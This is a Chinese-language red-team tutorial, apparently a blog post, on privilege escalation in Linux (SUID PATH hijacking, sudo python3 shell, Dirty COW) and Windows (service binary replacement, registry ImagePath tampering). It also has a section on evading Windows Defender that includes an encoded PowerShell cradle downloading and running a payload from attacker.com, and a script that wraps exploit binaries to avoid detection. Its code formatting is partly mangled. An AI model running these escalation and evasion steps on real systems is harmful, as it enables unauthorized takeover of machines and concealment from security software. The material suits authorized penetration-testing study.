0x01 从权限边界到提升可能性

在任何现代操作系统中,权限边界是安全性的核心。Linux 和 Windows 系统通过用户权限模型(如用户身份、组权限、文件 ACL 等)来限制非授权用户访问敏感资源。然而,这些边界往往并不牢固。软件漏洞、配置错误、甚至设计缺陷都可能为攻击者提供突破点。作为红队攻击者,我们的目标是找到这些弱点,实现从低权限用户到高权限用户 (如 root 或 SYSTEM) 的跃升。
举例来说,在 Linux 系统中,一个误配置的 SUID 程序可能成为我们的突破口;而在 Windows 中,某个服务的权限提升漏洞或不安全的注册表设置可能为我们打开大门。
---
0x02 实战中的 Linux 提权场景
Linux 提权的核心是:发现权限不当的程序或配置,利用它们获得更高的权限。以下是几种常见场景的分析与利用。
1. SUID 程序漏洞利用
背景知识
SUID 是 Linux 中的一种特殊文件权限。当 SUID 程序被执行时,会以文件所有者的权限运行,而不是执行者的权限。这意味着,如果一个程序具有 SUID 位并由 root 拥有,那么无论谁执行这个程序,它都将以 root 权限运行。
攻击步骤
- 查找系统中设置了 SUID 位的程序:
使用以下命令扫描所有 SUID 程序: <pre><code class="language-bash"> find / -perm -4000 2>/dev/null `
- 分析潜在漏洞:
查找到的程序可能是合法存在的,也可能是由于管理员疏忽而暴露的。例如:
vim或nano:如果它们设置了 SUID 位,攻击者可能通过编辑系统文件来提升权限。- 自定义的脚本或可执行文件:这些程序通常是管理员自己编写的,代码安全性可能存在问题。
- 构造攻击场景:
假如我们发现 /usr/local/bin/vulnerable_suid 是一个 SUID 程序,并且它是管理员自定义的,代码包含以下内容: `c
include <stdlib.h>
int main() { system("/usr/bin/id"); return 0; } ` 我们可以尝试利用 PATH 环境变量劫持: `bash
创建一个伪造的 id 程序
echo "#!/bin/bash" > /tmp/id echo "/bin/bash" >> /tmp/id chmod +x /tmp/id
修改 PATH 并执行 SUID 程序
export PATH=/tmp:$PATH /usr/local/bin/vulnerable_suid `
成功利用后,我们将获得 root 权限的 shell。
---
2. 滥用 SUDO 权限
背景知识
系统管理员可能会赋予普通用户一些特殊的 sudo 权限,从而允许他们在无需输入密码的情况下执行某些命令。错误配置的 sudo 权限可能成为提权的直接通道。
攻击步骤
- 检查 sudo 权限:
使用以下命令查看当前用户的 sudo 权限: `bash sudo -l `
- 分析潜在的利用点:
假如输出如下: ` User youruser may run the following commands on this host: (ALL) NOPASSWD: /usr/bin/python3 ` 这意味着我们可以以 root 权限运行 python3。
- 利用 Python 提权:
使用以下命令直接获取 root shell: `bash sudo python3 -c 'import os; os.system("/bin/bash")' `
---

3. 内核漏洞提权
背景知识
如果目标系统的内核版本存在已知漏洞(CVE),我们可以通过公开的 EXP 直接提权为 root。
攻击步骤
- 确定内核版本:
`bash uname -r `
- 搜索可利用的漏洞:
利用 exploit-db 或 metasploit 搜索该内核版本相关的漏洞。例如,针对 Linux Kernel 4.4 可以利用 Dirty COW 漏洞(CVE-2016-5195)。
- 运行 EXP:
以 Dirty COW 为例,下载并运行 EXP(确保目标环境允许): `bash gcc -o cow root.c ./cow ` 成功运行后,即可获得 root shell。
---
0x03 Windows 提权的隐藏宝库
Windows 系统的提权方式与 Linux 不尽相同,主要集中在服务漏洞利用、注册表配置错误与敏感信息泄露等方面。
1. 服务配置错误利用
背景知识
Windows 服务通常以高权限运行。如果服务可被普通用户修改配置或劫持,我们可以利用它们来执行恶意代码。
攻击步骤
- 枚举服务:
使用 PowerShell 枚举服务的可配置权限: `powershell Get-WmiObject win32_service | Select-Object Name, PathName, StartMode `
- 查找可写路径:
假如某服务的 PathName 指向 C:\Program Files\MyService\service.exe,并且我们对目录 C:\Program Files\MyService 有写权限,我们可以替换 service.exe。
- 劫持服务:
将 service.exe 替换为我们自定义的恶意程序(如反弹 shell),然后重启服务: `powershell Restart-Service -Name MyService `

---
2. 注册表提权
背景知识
Windows 系统中的某些注册表键存储了服务或程序的配置信息。如果这些键的权限配置错误,攻击者可以通过修改注册表来实现提权。
攻击步骤
- 查找可写注册表键:
使用以下命令列出当前用户对注册表的写权限: `powershell reg query HKLM /s /f "*" /k | findstr /i "All Access" `
- 修改键值:
假如某键值指向服务程序路径 C:\Windows\System32\service.exe,我们可以将其修改为恶意程序的路径: `powershell reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Malicious\malicious.exe" /f `
- 启动服务:
通过以下命令重启服务以触发恶意程序运行: `powershell net start ServiceName `
---
0x04 绕过与免杀的艺术
提权过程中,我们往往需要绕过安全软件的检测,尤其是在使用公开 EXP 或恶意代码时。

1. 绕过 Windows Defender
使用 PowerShell 混淆代码来规避检测:</code></pre>powershell $payload = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) powershell -EncodedCommand $encoded <pre><code>
2. 自定义免杀程序
使用 Python 编写简单的加壳工具,将公开的提权 EXP 混淆后重新编译:</code></pre>python import base64
读取原始的恶意 payload
with open("exploit.exe", "rb") as f: original_payload = f.read()
使用 Base64 编码
encoded_payload = base64.b64encode(original_payload)
创建解码器
with open("wrapped_exploit.py", "w") as f: f.write(f""" import base64 payload = base64.b64decode({encoded_payload}) with open("exploit.exe", "wb") as e: e.write(payload) """) `
---
0x05 最后的思考
权限提升是任何攻击链中的核心环节,但成功不仅仅依靠技术工具,更依赖对目标环境的深度理解。记住,真正的攻击者会始终保持对细节的敏感,并在每一个漏洞中寻找突破点。
警告:本文所述内容仅用于合法授权下的安全测试,不得用于非法用途。